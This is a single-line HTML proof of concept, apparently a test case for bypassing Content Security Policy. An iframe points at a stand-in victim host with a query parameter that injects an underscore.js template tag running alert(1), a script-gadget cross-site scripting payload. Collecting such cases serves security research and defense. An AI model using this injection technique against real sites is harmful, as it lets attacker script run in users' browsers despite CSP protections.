<iframe src="http://victim.example.com/repo/csp/ue/underscore.php?inj=<div type=underscore/template><% alert(1) %></div>"></iframe>
